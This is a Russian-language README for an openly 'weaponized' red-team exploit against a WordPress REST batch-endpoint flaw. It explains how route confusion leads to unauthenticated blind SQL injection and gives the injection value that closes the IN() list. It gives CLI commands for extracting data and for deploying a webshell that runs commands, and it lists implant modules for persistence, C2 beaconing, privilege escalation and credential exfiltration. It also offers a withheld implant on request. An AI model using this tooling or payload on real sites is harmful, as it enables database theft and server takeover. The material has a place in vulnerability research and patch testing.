Полностью weaponized вариант wp2shell для red team (наступательной безопасности), созданный для авторизованного тестирования на проникновение и образовательных целей.
Автономный proof-of-concept для неаутентифицированной слепой SQL-инъекции, доступной через пакетную конечную точку WordPress REST (/wp-json/batch/v1). Это независимая реализация, созданная на основе опубликованной механики уязвимости.
Официальный бюллетень: Релиз безопасности WordPress | CVE-2026-63030
Автор: J4ck3LSyN
Авторитеты: CFSD, NFK и C4b1NKr3W
Примечание: Я не включил сюда связанный вооружённый имплант персистентности
r00t.pyпо очевидным юридическим причинам. Чтобы получить его, напишите мне в x
[!WARNING]
Этот код предоставляется КАК ЕСТЬ только в образовательных и исследовательских целях. Не используйте этот PoC на производственных системах, в общих средах или на любых неавторизованных целях.
- Запуск или размещение этого кода может вызвать срабатывание антивирусов, оповещений систем мониторинга безопасности или юридические последствия при неправильном использовании.
- Авторы и сопровождающие репозитория не несут ответственности за любой ущерб, неправильное использование или незаконные действия, связанные с этим кодом.
- Используйте исключительно в изолированных лабораторных средах с соответствующим разрешением. Предназначен только для защитных исследований, анализа уязвимостей и тестирования синей команды.
poc.py - Основной CLI proof-of-concept (режимы check, read, shell)val.py - Лёгкий пассивный валидатор уязвимости (val.py <target>)MITIGATIONS.md - Подробное руководство по смягчению и усилению защитыLETHALITY.html - Визуальная матрица летальности возможностей (тепловая карта + цепочка убийства)LICENSE - Лицензия MITr00t.py:redacted - Основной оркестратор импланта (связывает всё воедино)modules/ - Постэксплуатационные модули имплантаexploit.py - Базовая логика эксплуатации (SQLi + примитив RCE)privesc.py:redacted - Проверки локального повышения привилегий (DirtyCOW, sudo, capabilities и т. д.)lpe_byond.py:redacted - Продвинутое LPE с использованием техник BYOVD + eBPF (только с разрешения оператора)recon.py:redacted - Профилирование и перечисление хостаpersistence.py:redacted - Механизмы персистентности (systemd, cron, ключи SSH)c2.py:redacted - Зашифрованный C2-маяк (HTTPS + DoH)exfil.py:redacted - Сбор учётных данных и эксфильтрация данныхstealth.py:redacted - Анти-анализ, обнаружение песочниц и обфускация| Branch | Affected Versions | Fixed In |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
Подробности см. в официальных релизах безопасности WordPress.
Пакетная конечная точка отправляет несколько подзапросов за один вызов, проверяя валидность и права доступа каждого независимо. Когда путь подзапроса не проходит wp_parse_url(), он добавляется в массив валидации, но не в массив сопоставленных обработчиков. Эти два массива расходятся, и последующий подзапрос обрабатывается обработчиком другого подзапроса. Это и есть путаница маршрутов.
Данный PoC вкладывает примитив дважды:
POST /wp/v2/posts с телом requests обрабатывается самим пакетным обработчиком. Поскольку он был проверен как запрос к записям, его внутренний список requests больше не проверяется по схеме пакета, поэтому внутренние подзапросы могут использовать GET (обход белого списка методов).GET /wp/v2/users с параметром author_exclude=... обрабатывается через posts get_items(). В схеме коллекции users нет параметра author_exclude, поэтому значение проходит валидацию без изменений. posts get_items() сопоставляет author_exclude с query-переменной author__not_in в WP_Query, которую уязвимые сборки подставляют в SQL как сырую строку.Конечный сток — это слепая SQL-инъекция до аутентификации, основанная на логическом условии / времени:
... post_author NOT IN (<value>) ...
Значение 0) <sql>-- - закрывает список IN() и добавляет произвольный SQL.
PoC отказоустойчив по принципу fail-closed. Три рантайм-гейта предотвращают случайное или нецелевое выполнение. Все они реализованы в modules/exploit.py; CLI в poc.py лишь прокидывает их.
| Flag | Scope | Effect when absent |
|---|---|---|
--authorized | Все сетевые операции | AuthorizationError до любой отправки |
--noop | Все подкоманды | Формирует/выводит полезные нагрузки; без сетевых контактов |
--max-requests | BatchClient | Жёсткий лимит запросов |
--r00t | Подкоманда shell | Возможности RCE после аутентификации отключены |
AuthorizationError вызывается в BatchClient._ensure_authorized(), AdminSession._ensure_authorized() и AdminSession._ensure_r00t().BatchClient._count() принудительно применяет --max-requests до открытия сокета.--r00t — разделитель возможностей: сборка без него не может развернуть или выполнить вебшелл.Обработка учётных данных для shell: имя пользователя/пароль администратора берутся из --user / --password, либо из переменных окружения / защищённого файла.
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # basic sanity check
Требования: Python 3.11+; только стандартная библиотека (без pip-зависимостей).
python3 poc.py <command> <url> [flags]
Общие флаги (для всех подкоманд):
--authorized Assert you own / are authorized to test <url>. Required to send.
--noop Build/validate payloads without sending (no network contact).
--max-requests N Hard cap on requests to the target.
--rest-route Use /?rest_route=/batch/v1 instead of /wp-json/batch/v1.
--timeout FLOAT Request timeout (default 30).
--proxy URL HTTP(S) proxy.
--insecure Disable TLS certificate verification.
check — Подтвердить уязвимость (без разрушающих действий)read — Извлечение данных слепой SQL-инъекциейshell — Вспомогательный инструмент вебшелла после аутентификации (требуется --r00t)validate — Пассивный идентификаторКраткая справка
| Goal | Command |
|---|---|
| Предпросмотр пробных полезных нагрузок | python3 poc.py check <url> --noop |
| Подтвердить уязвимость | python3 poc.py check <url> --authorized |
| Активное доказательство по времени | ... check <url> --authorized --confirm-sqli |
| Предпросмотр SQLi-полезных нагрузок | python3 poc.py read <url> --noop --query "SELECT @@version" |
| Извлечь данные | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| Предпросмотр артефакта вебшелла | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| Развернуть и выполнить (авторизованно) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| Пассивное сканирование | python3 poc.py validate <url> --authorized |
Полная документация по командам доступна в исходных подробных разделах (или выполните python3 poc.py --help).